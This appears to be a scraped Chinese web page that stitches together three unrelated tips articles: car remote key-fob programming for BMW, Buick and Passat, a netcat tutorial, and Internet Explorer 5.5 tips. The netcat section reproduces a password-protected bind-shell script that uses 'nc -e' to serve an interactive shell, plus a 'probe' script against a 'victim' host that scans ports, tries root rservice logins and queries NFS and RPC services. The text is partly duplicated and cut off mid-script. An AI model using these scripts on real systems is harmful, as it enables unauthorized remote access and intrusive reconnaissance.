一 : 使用X431技巧

②将遥控器靠近接收器，越接近越好。 ⑧按下遥控器和UNLOCK键，直到 LED灯开始闪烁为止，即表示程序设定完 成。

④该程序被起动后有15s时间，可继续 再重新设定其它遥控器，但最多只能设定4 个遥控器。

宝马车系如果采用的是与钥匙一体的 遥控器(分别为双按键及3按键式)，其设定 程序分别为：

双按键式遥控器(按键分别为UNLOCK 键和DOUBLELOCK键、

①将全部车门均关闭，中控锁不要按 下。

②将点火开关拧到ON的位置，在5s 内再转回到OFF位置。

⑧按下UNLOCK／LOCK键，在10s内 按DOUBLELOCK键3次。

④放开UNLOCK／LOCK键，此时钥匙 上的LED灯会闪烁l0次。

⑤将钥匙遥控靠近接收器(后视镜处)， 按下UNLOCK／LOCK键或DOUBLELOCK 键一下。

⑥此时车门锁会自动锁上并再开启一 次，表示完成重新设定。

⑦重复步骤⑧一⑥，可以再设定其它遥 控器，但必须在15min内完成，同时一次最 多可以重新设定3个遥控器。

宝马车系配置的是3个按键式的遥控 器，其防盗解除程序为：

①关上车门，中控锁不要按下。

②点火开关拧至ON位置．5s内再转回 OFF位置．

⑧按下钥匙上的向下箭头键，同时在 10s内按下LOCK键3次。

④放开向下箭头键，此时LED灯会闪 烁，同时中控锁会自动锁上再开启，即表示 完成设定。

⑤重复步骤③一④，则可再设定其它遥 控器，在30s内，最多可以重新设定3个遥 控器。

如果在此之前，曾经用钥匙以机械方式 锁上车门或行李舱，则必须先用钥匙开启车 门或行李舱，然后才可以重新设定程序。

x431 使用X431技巧

上海别克汽车装有遥控门锁系统，该系统具有锁闭车门，开锁车门、打开后厢的功能．具有报警功能的遥控门锁系统还有使喇叭 鸣响、使车内灯启亮、使车辆前大灯启亮的功能。［www.61k.com］遥控门锁系统由遥控发射机和接收机组成。

遥控车门锁接收器位于仪表板上，由车辆蓄电池通过仪表线束供电。遥控车门锁接收器判断遥控发射器正在传送的指令，并将该信号送入车身控制模块(BCM)。遥控车门锁 的发身器是一个3V锂电池驱动的手控装 置。发射器的操作范围是1一9M。 当遥控器更换电池后，或者发射器在超出遥控范围时，发射器被激活超过256次将引起发射器不同步。重新同步方法是：同时按下发射器的”开锁”和”锁闭”按钮并至少保持7S，或直等到喇叭鸣响3次。 如果一个遥控发射器丢失，需要使用新的遥控器时，需要对其进行编程(让接收器认识新的遥控发射器)这项工作可以使用扫描工

具完成，也可不需要工具完成。在没有工具的情况下，发射器的编程步骤如下： l、坐在车辆的驾驶员座椅上：

2、将点火开关启动钥匙从点火芯中拔出；3、关闭所有车门；

4、按住门锁开关上的“开锁”按钮： 5、将门锁开关保持在“开锁”的位置，插入并拔出点火启动钥匙两次。不要转动锁芯。6、第三次插入点火启动钥匙时，将钥匙保留在点火芯中。在其余的程序中，点火装置必须保持在LOCK的位置上：

7、松开门锁开关。将听到三声鸣响。该鸣响反馈表示发射器编程正在启动。 8、同时按遥控门锁发射器上的“开锁”和“锁闭”按钮并保持12s。听到两声鸣响。表示遥控编程已成功．

9、对其它发射器(最多4个)重复步骤即可。

10、将点火启动钥匙从点火芯中拔出，退出

该程序。

关车门，插入钥匙并打开点火开关：进入X431上海大众V11．05以上版本，选择帕萨特B5普通模式，进入中央模块，输入“01”通道号，输入“02”匹配值，点击确认，屏幕显示通道号“01”，匹配值“02”，自适应成功；

点击确认键，退出所有程序，关闭发动机拿

出钥匙，按遥控开关，检查中控锁工作情况，如果工作正常，即可做第二把遥控自适应，操作步骤重复一次。

二 : nc使用技巧

nc这个小玩意儿应该大家耳熟能详，也用了N年了吧……这里不多讲废话，结合一些script说说它的使用技巧。
(文中所举的script都来自于nc110.tgz的文件包)

一、基本使用

Quack# nc -h
[v1.10]
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向，一旦连接，就执行 [危险!!]
-g gateway source-routing hop point[s] up to 8
-G num source-routing pointer: 4 8 12 ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式，用于入站连接
-n 指定数字的IP地址，不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时

其中端口号可以指定一个或者用lo-hi式的指定范围。

二、用于传输文件——ncp

#! /bin/sh
## 类似于rcp，但是是用netcat在高端口做的
## 在接收文件的机器上做"ncp targetfile"
## 在发送文件的机器上做"ncp sourcefile receivinghost"
## 如果调用了 "nzp" ，会将传输文件压缩

## 这里定义你想使用的端口，可以自由选择
MYPORT=23456

## 如果nc没有在系统路径中的话，要把下面一行注释去掉，加以修改
# PATH=${HOME}:${PATH} ; export PATH

## 下面这几行检查参数输入情况
test "$3" && echo "too many args" && exit 1
test ! "$1" && echo "no args?" && exit 1
me=`echo $0 | sed s+.*/++ `
test "$me" = "nzp" && echo [compressed mode]

# if second arg it s a host to send an [extant] file to.
if test "$2" ; then
test ! -f "$1" && echo "can t find $1" && exit 1
if test "$me" = "nzp" ; then
compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0
else
nc -v -w 2 $2 $MYPORT < "$1" && exit 0
fi
echo "transfer FAILED!"
exit 1
fi

# 是否在接收文件机器当前目录有同名文件
if test -f "$1" ; then
echo -n "Overwrite $1? "
read aa
test ! "$aa" = "y" && echo "[punted!]" && exit 1
fi
# 30 seconds oughta be pleeeeenty of time but change if you want.
if test "$me" = "nzp" ; then
# 注意这里nc的用法，结合了重定向符号和管道
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0
else
nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0
fi
echo "transfer FAILED!"
# clean up since even if the transfer failed $1 is already trashed
rm -f "$1"
exit 1

这样的话，我只要在A机器上先 QuackA# ncp ../abcd
listening on [any] 23456 ...
然后在另一台机器B上
QuackB#ncp abcd 192.168.0.2
quackb [192.168.0.1] 23456 (?)
A机上出现
open connect to [192.168.0.2] from quackb [192.168.0.1] 1027
#
查看一下，文件传输完毕。

三、用于绑定端口——bsh

首先要清楚，如果你编译netcat时仅用如make freebsd之类的命令来编译的话，这个工
具是无法利用的——要define一个GAPING_SECURITY_HOLE它才会提供-e选项。

#! /bin/sh
## 一个利用nc的绑定shell并且带有密码保护的脚本
## 带有一个参数，即端口号

NC=nc

case "$1" in
?* )
LPN="$1"
export LPN
sleep 1
#注意这里nc的用法，参数-l是lister，-e是执行重定向
echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &
echo "launched on port $LPN"
exit 0
;;
esac

# here we play inetd
echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &

while read qq ; do
case "$qq" in
# 这里就是弱密码保护了，密码是quack
quack )
cd /
exec csh -i
;;
esac
done

要看看它是怎么使用的么？
quack# ./bsh 6666 <-------输入，后面是程序输出
-l -p 6666 -e ./bsh
launched on port 6666
quack#
quack## nc localhost 6666 <----------输入
-l -p 6666 -e ./bsh
quack <----------输入，密码验证
Warning: imported path contains relative components
Warning: no access to tty (Bad file descriptor).
Thus no job control in this shell.
Cracker#

四、 用于端口扫描——probe

在我们常见的一些端口扫描程序中，如Vetescan这类以shell script写成的话，很多都
需要系统中装有netcat，原因何在呢？看看下面的script，你或许会明白一些。

#! /bin/sh
## launch a whole buncha shit at yon victim in no particular order; capture
## stderr+stdout in one place. Run as root for rservice and low -p to work.
## Fairly thorough example of using netcat to collect a lot of host info.
## Will set off every intrusion alarm in existence on a paranoid machine!

# 该目录里有一些小工具
DDIR=../data
# 指定网关
GATE=192.157.69.11

# might conceivably wanna change this for different run styles
UCMD= nc -v -w 8

test ! "$1" && echo Needs victim arg && exit 1

echo | $UCMD -w 9 -r "$1" 13 79 6667 2>&1
echo 0 | $UCMD "$1" 79 2>&1
# if LSRR was passed thru should get refusal here:
# 要注意这里的用法，其实nc的这些参数掌握好可以做很多事情
$UCMD -z -r -g $GATE "$1" 6473 2>&1
$UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1
# -s `hostname` may be wrong for some multihomed machines
echo UDP echoecho! | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1
echo 11310158 | $UCMD -p 10158 "$1" 113 2>&1
rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1
echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1
# newline after any telnet trash
echo
echo PASV | $UCMD -r "$1" 21 2>&1
echo GET / | $UCMD -w 10 "$1" 80 81 210 70 2>&1
# sometimes contains useful directory info:
# 知道robots.txt是什么文件么？;)
echo GET /robots.txt | $UCMD -w 10 "$1" 80 2>&1
# now the big red lights go on
# 利用小工具rservice来尝试，该工具可以在nc110.tgz的data目录里找到
rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1
rservice root root | $UCMD -r "$1" exec 2>&1
echo BEGIN big udp -- everything may look "open" if packet-filtered
data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1
# no wait-time uses RTT hack
nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1
nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1
echo END big udp
$UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1
# Use our identd-sniffer!
iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
# this gets pretty intrusive but what the fuck. Probe for portmap first
if nc -w 5 -z -u "$1" 111 ; then
showmount -e "$1" 2>&1 #象showmount和rpcinfo的使用，可能会被逮到;)
rpcinfo -p "$1" 2>&1
fi
exit 0

感觉也没什么好说的，脚本本身说明了一切。当然象上面的脚本只是示范性的例子，真正地使用时，
这样扫描会留下大量的痕迹，系统管理员会额外小心;)

多试试，多想想，可能你可以用它来做更多事情——你可以参见nc110.tgz里script目录下的那
些脚本，从中获得一些思路。
nc这个小玩意儿应该大家耳熟能详，也用了N年了吧……这里不多讲废话，结合一些script说说它的使用技巧。
(文中所举的script都来自于nc110.tgz的文件包)

一、基本使用

Quack# nc -h
[v1.10]
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向，一旦连接，就执行 [危险!!]
-g gateway source-routing hop point[s] up to 8
-G num source-routing pointer: 4 8 12 ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式，用于入站连接
-n 指定数字的IP地址，不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时

其中端口号可以指定一个或者用lo-hi式的指定范围。

二、用于传输文件——ncp

#! /bin/sh
## 类似于rcp，但是是用netcat在高端口做的

三 : IE 5.5高级使用技巧(上)

IE 5.5高级使用技巧（上）

王伟 (07/04/2000)

１、简化地址输入

??您可以在地址栏中键入某个单词，然后按 CTRL+ENTER 在单词的两端自动添加 http://www. 和 .com并且自动开始浏览，比如当你在地址栏中键入cbinews并且按

CTRL+ENTER时,IE 5.5将自动开始浏览http://www.61k.com（大众电脑的网址）。 ??２、使用“自动完成”功能

??在键入 Web 地址或完成 Web 中的条目时，该功能可随着您的键入显示以前的匹配条目，这样可以节约输入时间。“自动完成”功能能够记住以前输入的 Web 地址、表单和密码，以后在这些字段中键入信息时，如果以前曾键入过相似的输入项，“自动完成”将列出可能的匹配值。如果列表中的建议符合要在字段中输入的值，请单击此建议项。 如果不符，请继续键入。

??要启动或关闭“自动完成”功能，请依次单击“工具”菜单、“Internet 选项”命令、“内容”选项卡及“自动完成”按钮。

??３、调整“自动完成”功能的设置

??可以调整“自动完成”功能，仅保存和建议所需要的信息。可以选择针对 Web 地址、表单和密码使用“自动完成”功能，也可以只在某些地方使用此功能，还可以清除任何项目的历史记录。 在 Internet Explorer 的“工具”菜单上，单击“Internet 选项”。 单击“内容”选项卡。 在“个人信息”区域，单击“自动完成”。 选中要使用的“自动完成”选项的复选框。

??４、使用键盘操作

??除鼠标操作外，Internet Explorer 还提供键盘访问功能，为用户提供了极大的方便。Internet Explorer 的所有功能都可以通过键盘或鼠标进行访问。只需按 TAB 和

SHIFT+TAB，便可在以下屏幕元素之间前后切换：文字链接或图像链接、图像中的热点、地址栏、菜单栏、链接栏、框架等。

??５、自定义字体的大小、字形和颜色

??即使 Web 页的作者指定了这些设置，您仍可以自定义字体的大小、字形和颜色，以及 Web 页的前景色和背景色，还可以指定用于显示 Web 页上链接的颜色，或者当鼠标移过链接时链接显示的颜色。

??如果您视力不好、需要更大的字体或高对比度颜色，这种设置对您非常有用。可以设置 Internet Explorer 使用指定的颜色和字体、默认的 Windows 颜色和字体或者使用样式表中指定的设置。

??６、指定保存在“历史记录”列表中的 Web 页数

??在 Internet Explorer 的“工具”菜单上，单击“Internet 选项”。单击“常规”选项卡。在“历史记录”区域，更改“历史记录”列表保存 Web 页的天数。 提示：要清空历史记录的文件夹“History"，请单击“清除历史记录”。该操作可以暂时释放计算机上的磁盘空间。

??７、在桌面上显示频道栏

??桌面频道栏只有在您从 Internet Explorer 4.0 或 Windows 98 升级后才能见到。可以使用频道栏从桌面快速打开 Web 站点，而不需要首先打开浏览器。无论您是否在运行 Active Desktop，都可以在桌面上显示频道栏。

??如果您安装了浏览器但没有安装新桌面：单击“开始”菜单，指向“程序”，指向“Internet Explorer"，然后单击“频道栏”。

??如果您安装了浏览器而且带新桌面：用鼠标右键单击桌面，然后单击“属性”。在“Web"选项卡上，选中“按 Web 页方式查看活动桌面”复选框。选中“Internet Explorer 频道栏”复选框。

??８、使用go命令快速搜索

??在地址栏中，先键入 go、find 或 ?，再键入要搜索的单词或短语，按 Enter 键之后 Internet Explorer 将使用预置的搜索提供商开始搜索。

??从地址栏中搜索时，Internet Explorer 可以自动显示与您要搜索的内容最匹配的 Web 页，同时还列出其他相似的站点。只需在地址栏中键入一些普通的名称或单词，然后单击“转到”。可以按不同方式查看这些搜索结果：

??在 Internet Explorer 的“工具”菜单上，单击“Internet 选项”。单击“高级”选项卡。 在“从地址栏中搜索”区域，选择您需要的选项：要在搜索栏中查看相似站点的列表，并在主窗口中显示最喜欢的 Web 页，请选中“显示结果，然后转到最喜欢的站点”。 ??要在主窗口中查看相似站点的列表以便您可以选择要显示的 Web 页，请选中“显示主窗口中的结果”。

??如果只查看最喜欢的 Web 页，请选中“转到最喜欢的站点”。要从地址栏关闭搜索功能，请选中“不从地址栏中搜索”。无论您选择的是哪个选项，您仍可以单击“工具栏”上的“搜索”按钮搜索 Web 站点。

??您在每个字段中键入的信息越多，则显示结果的时间越长，但准确性越好。 在部分搜索类别中，您可以指定使用多个不同的搜索提供商。然后，通过单击搜索栏顶端的“下一页”按钮，无需重复键入查询条件，就可以在多个提供商中快速搜索。 如果您只是想查找与当前查看的 Web 页相似的 Web 页，只需单击“工具”菜单，然后单击“显示相关站点”。 ??９、自定义工具栏

??IE 5.5允许自定义工具栏：添加或删除按钮、使用大图标或小图标、显示或隐藏文字标签。只需右键单击工具栏，然后单击“自定义”。

??如果视力不好，可以添加“字体”按钮以便快速选择相对字体大小。

??如果您正在使用屏幕阅读器，可以选中“图标选项”中的“小图标”以及“文字选项”中的“无文字标签”，以便使显示 Web 内容的屏幕空间最大化。

??１０、更改工具栏的外观

??可以添加或删除标准工具栏按钮，使用类似由 Microsoft Office 使用的小工具栏按钮，并更改按钮在工具栏上的显示顺序。只需用右键单击工具栏，然后单击“自定义”。可以通过向四周拖动的方式移动或调整地址栏、链接栏和电台栏，甚至把它移到菜单栏上。 ??用鼠标右键单击工具栏，然后通过单击清除要隐藏的项目旁的复选标记，即可隐藏地址栏、链接栏或电台栏。

??从地址栏上拖动图标或从 Web 页中拖动链接，可将项目添加到链接栏。要在链接栏上重新排列项目，只需把它拖动到链接栏的新位置即可。

??１１、为Web页面指定语言编码

??在“查看”菜单上，指向“编码”，然后单击正确的语言。如果系统提示您下载语言支持组件，请单击“下载”。

??如果在您的计算机上未安装“自动选择”功能或特定的语言套件，Internet Explorer 会提示您下载所需的文件。 添加语言并不能保证您的计算机带有能用您首选的语言显示 Web 页的字体。如果希望在添加字体时给出提示，请单击“工具”菜单，单击“Internet 选项”，单击“高级”选项卡，然后选中“启用即需即装”复选框。也可以下载多语言支持套件，用这种语言显示 Web 页。 可以在您的工具栏上添加“编码”按钮，这样您就可以更迅速地切换语言。

??１２、更改字体和背景色

??Web 作者和设计者在创建 Web 页时，通常会指定一些特殊的字体颜色和大小、字样及背景色。用户可以自己修改这些设置，操作过程是：在 Internet Explorer 的“工具”菜单上，单击“Internet 选项”。 选定“常规”选项卡，然后单击“字体”。 在“Web 页字体”和“纯文本字体”列表中，单击所需的字体。

??除此之外也可以在“样式表”中统一指定。“样式表”是一种模板，用于指定在 Web 页或站点上显示页面的风格。

??１３、更改主页

??主页是每次您打开 Internet Explorer 时最先显示的 Web 页。请务必将主页设置为您需要频繁查看的 Web 页，或者将它设置为可供您快速访问所需信息的自定义站点，例如www.61k.com主页。如果转到希望在第一次启动 Internet Explorer时显示的 Web 页。 在“工具”菜单上，单击“Internet 选项”。 单击“常规”选项卡。 在“主页”区域，单击“使用当前页”。 如果要恢复原来的主页，请单击“使用默认页”。

??１４、将 Web 页设置为可脱机查看

??设置脱机查看 Web 页后，您可以在计算机未与 Internet 连接时阅读 Web 页的内容。例如，在无法连接网络或 Internet 时，可以在便携机上查看 Web 页。如果您希望在家里阅读 Web 页，但不想占用电话线，也可以设置此项。

??您可以指定有多少需要脱机阅读的内容，例如只是一页或者是某一页及其所有链接，并且选择如何在您的计算机上更新这些内容。

??在以前的 Internet Explorer 版本中，脱机查看被称作“预订”。如果您曾经在以前的 Internet Explorer 版本中使用了频道，在“收藏夹”列表的“频道”文件夹中可以找到这些频道。

IE 5.5高级使用技巧（下）

王伟 (07/04/2000)

１５、脱机查看

??将收藏的 Web 页标记为可脱机查看后，即可按照如下步骤脱机查看这些 Web页。在从 Internet 断开连接之前，请单击“工具”菜单，然后单击“同步”。准备脱机工作时，请单击“文件”菜单，然后单击“脱机工作”。 在收藏夹列表中，选择您要查看的项目。 ??如果选择脱机工作，那么 Internet Explorer 将始终以脱机方式启动，直到再次单击“脱机工作”命令，清除复选标记。

??１６、关闭图形以加快所有 Web 页的显示速度

??在 Internet Explorer 的“工具”菜单上，单击“Internet 选项”。单击“高级”选项卡。 在“多媒体”区域，清除“显示图片”、“播放动画”、“播放视频”和“播放声音”等全部或部分复选框。

??即使清除了“显示图片”或者“播放视频”复选框，也可以通过右键单击相应图标，然后单击“显示图片”，在 Web 页上显示单幅图片或动画。清除“显示图片”复选框后，如果当前页上的图片仍然可见，可单击“查看”菜单，然后单击“刷新”，以隐藏此图片。 ??１７、将Web页添加到链接栏

??链接栏位于地址栏旁边，用于添加一些指向频繁访问的部分 Web 页的链接，非常方便。只需单击链接即可显示站点。将 Web 页添加到链接栏的方法很多，可以将 Web 页的图标从地址栏拖到链接栏、将链接从 Web 页拖到链接栏、在收藏夹列表中将链接拖到“链接”文件夹中。

本文标题：使用技巧-使用X431技巧
本文地址： http://www.61k.com/1073587.html